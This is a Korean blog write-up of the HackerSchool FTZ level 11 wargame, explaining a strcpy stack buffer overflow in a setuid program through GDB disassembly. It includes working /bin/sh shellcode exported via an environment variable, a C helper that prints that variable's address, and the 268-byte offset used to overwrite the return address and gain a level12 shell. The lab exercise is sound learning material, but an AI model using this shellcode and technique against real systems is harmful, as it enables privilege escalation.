System

[HackerSchool_FTZ] level 11

gayeon_ 2023. 11. 14. 18:16

ls -al로 attackme 실행파일과 hint 파일을 발견했다.

 

 

 

 

힌트를 보니 인자를 받아 그 인자를 str변수에 복사하는 코드인 것을 알 수 있었다.

복사되는 인자의 크기를 지정해주지 않았기 때문에 버퍼 오버 플로우가 발생할 수 있다.

 

 

int main(int argc, char *argv[])
{
    char str[256];

    // setreuid( 3092, 3092 );
    // 유닉스 시스템에서 사용자 ID를 변경하는 함수이다.

    // strcpy( str, argv[1] );
    // 프로그램의 명령행 인수 중 첫 번째를 문자열 'str'에 복사한다.
    // 적절한 검증 없이 외부 입력(argv[1])을 그대로 복사하고 있으므로
    // 보안 상의 문제가 발생할 수 있다. (버퍼 오버플로우 공격 등)이 있을 수 있다.

    // printf( str );
    // 'str'에 저장된 내용을 화면에 출력한다. 
    // 외부 입력이 그대로 사용되고 있으므로 
    // 포맷 문자열 취약점 등으로 인해 보안 문제가 발생할 수 있다.

    return 0;
}

 

 

 

 

 

실행을 하면 입력한 문자를 str변수에 복사해 출력한다.

 

 

 

 

GDB로 attackme파일을 분석했다.

 

 

낮은 주소

 

str[256]

dummy[8]

SFP[4]

RET[4]

 

높은 주소

스택 구조를 위와 같이 나타낼 수 있다.

 


`dummy`

- 주로 플레이스홀더 또는 임시 변수로 사용됨

`SFP` (Saved Frame Pointer)

- 주로 함수 프롤로그에서 저장된 프레임 포인터의 값

- x86 어셈블리에서 `ebp`

- 스택 프레임을 설정할 때 현재 함수 호출 이전에 호출된 함수의 프레임 포인터를 저장

 

`RET[4]

- 함수 종료를 나타내는 명령어

- 스택에 저장된 리턴 주소를 참조하여 해당 주소로 이동

- 리턴 주소는 `RET`로 표현
- `RET`는 함수가 종료되고 호출자로 돌아갈 때 사용되는 값

 

 

 

0x08048470 <main+0>: push   ebp
0x08048471 <main+1>: mov    ebp,esp

현재 스택 프레임의 베이스 포인터(ebp)를 스택에 저장하고

스택 포인터(esp)를 베이스 포인터로 설정한다.

 

0x08048473 <main+3>: sub    esp,0x108

스택에서 0x108(264 바이트)만큼의 공간을 할당한다.

공간은 지역 변수 및 스택 프레임에 필요한 공간을 확보하는 데 사용된다.

 

0x08048479 <main+9>: sub    esp,0x8

8 바이트만큼의 추가 공간을 할당한다.

 

0x0804847c <main+12>: push   0xc14
0x08048481 <main+17>: push   0xc14
0x08048486 <main+22>: call   0x804834c  <setreuid>
0x0804848b <main+27>: add    esp,0x10

setreuid 함수를 호출하여 사용자 ID를 변경한다.

이 함수는 인자로 0xc14(3092)를 두 번 받아 호출된다.

 

0x0804848e <main+30>: sub    esp,0x8

 

다시 8 바이트만큼의 추가 공간을 할당한다.

 

0x08048491 <main+33>: mov    eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add    eax,0x4
0x08048497 <main+39>: push   DWORD PTR [eax]

argv[1]의 주소를 스택에 푸시한다.
여기서 `eax`는 `argv[1]`의 주소를 가리키고 있다.

이 주소에 위치한 4바이트 데이터를 스택에 푸시하는 명령어다.

1. `DWORD PTR [eax]`: `eax`가 가리키는 주소의 4바이트 데이터를 가져온다. 이는 `argv[1]`의 값이다.
2. `push DWORD PTR [eax]`: 스택에 가져온 4바이트 데이터를 푸시한다. 따라서 `argv[1]`의 값을 스택에 푸시하는 것이 된다.

이렇게 함으로써 `argv[1]`의 주소에 있는 값(문자열의 시작 주소)을 스택에 푸시하게 되고

이 값은 나중에 `strcpy` 함수 호출 시 첫 번째 인자로 사용된다.

 

0x08048499 <main+41>: lea    eax,[ebp-264]
0x0804849f <main+47>: push   eax
0x080484a0 <main+48>: call   0x804835c <strcpy> 
0x080484a5 <main+53>: add    esp,0x10

strcpy 함수를 호출하여 argv[1]의 내용을 str 변수에 복사한다.

 

코드에서 `call 0x804835c <strcpy>`는 `strcpy` 함수를 호출하는 부분이다.


1. `lea eax, [ebp-264]`: `ebp-264`의 주소를 `eax` 레지스터에 로드한다. `ebp`는 현재 함수의 베이스 포인터이고, `-264`는 지역 변수 `str`의 시작 주소이다.

2. `push eax`: `eax`의 값을 스택에 푸시한다. 이로써 `strcpy` 함수의 첫 번째 인자로 `str`의 주소가 전달된다.

3. `call 0x804835c <strcpy>`: `strcpy` 함수를 호출한다. `strcpy` 함수는 호출되면서 스택에 저장된 주소(즉, `str`의 주소)를 복사 대상으로 사용하게 된다.

4. `add esp, 0x10`: 함수 호출이 끝나면 스택 포인터(`esp`)를 조정하여 함수 호출에 사용된 공간을 정리한다. 이 경우에는 16바이트가 스택에서 제거된다.

따라서 `strcpy` 함수가 호출되는 부분은 `call 0x804835c <strcpy>`이다. 함수 호출에서 `eax`에 저장된 주소가 `strcpy` 함수의 첫 번째 인자로 전달되고, 이것이 `str`의 주소이다.

 

0x080484a8 <main+56>: sub    esp,0xc

12 바이트만큼의 추가 공간을 할당한다.

 

0x080484ab <main+59>: lea    eax,[ebp-264]
0x080484b1 <main+65>: push   eax
0x080484b2 <main+66>: call   0x804833c  <printf>
0x080484b7 <main+71>: add    esp,0x10

printf 함수를 호출하여 str의 내용을 출력한다.

 

0x080484ba <main+74>: leave
0x080484bb <main+75>: ret

leave 명령어로 스택 프레임을 해제하고

ret 명령어로 함수를 종료한다.

 

setreuid 함수를 사용해 사용자 ID를 변경하고 명령행 인수로 전달된 문자열을 strcpy 함수를 통해 복사한다.

그 후에 복사한 내용을 printf 함수로 출력한다.

 

strcpy 함수가 실행되기 전 인자를 쌓는 과정에서 str변수의 주소 거리를 구할 수 있다.

str: ebp-264

 

 

아무 값이나 264 + SFP(4)byte

총 268byte를 넘기면 RET를 조작할 수 있다.

 

 

 

 

 

RET에 구글링으로 찾은 쉘코드가 저장된 주소를 넣어줬다.

export env=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')

 

이 쉘코드를 환경변수에 등록했다.

 

환경변수 (export)

OS가 필요한 정보를 메모리에 등록해 놓고 필요할 때마다 참조하는 영역을 의미한다.
일반 사용자도 필요할 것이 있다면 여기에 등록해서 사용이 가능하다.
이곳에 등록된 데이터는 고정적인 메모리주소를 가지고 있게 된다.

 

환경변수 등록

export [환경변수명]=$(python -c 'print "쉘코드"')

 

 

환경변수에 등록이 잘 되었는지 export 명령어로 확인했다.

등록이 되었기 때문에 코드를 통해 환경변수의 주소를 볼 수 있다.

 

 

 

 

 

환경변수의 주소를 보기 위한 코드는 tmp 폴더에 작성한다.

 

 

 

 

#include<stdio.h>

int main(){
	printf("%p\n",getenv("env"));
	return 0;
}

 

 

 

코드 작성 후 컴파일해 주었다.

 

 

 

 

 

실행하여 환경변수의 주소를 획득할 수 있었다.

 

 

 

 

 

 

 

 

cd .. 로 tmp 폴더에서 나와준다.

 

 

 

 

 

 

 

str변수의 시작에서 RET 시작까지의 거리는 268byte이다.

그리고 RET에 0xbfffff57를 넣으면 쉘에 접속할 수 있다.

쉘에 접속 후 id 를 입력해 uid를 확인할 수 있다.

uid는 level12이다.

 

 

 

 

 

 

my-pass로 패스워드를 확인했다.

 

 

 

 

 

 

 

 

참고 자료

https://she11.tistory.com/22?category=816384

 

[HackerSchool] FTZ Level11 풀이 (환경변수)

ID : level11 PW : what!@#$? level11 접속 @_@ [level11@ftz level11]$ ls -al total 96 drwxr-xr-x 4 root level11 4096 Mar 19 2003 . drwxr-xr-x 34 root root 4096 Sep 10 2011 .. -rwsr-x--- 1 level12 level11 13733 Mar 8 2003 attackme -rw------- 1 root root 1 J

she11.tistory.com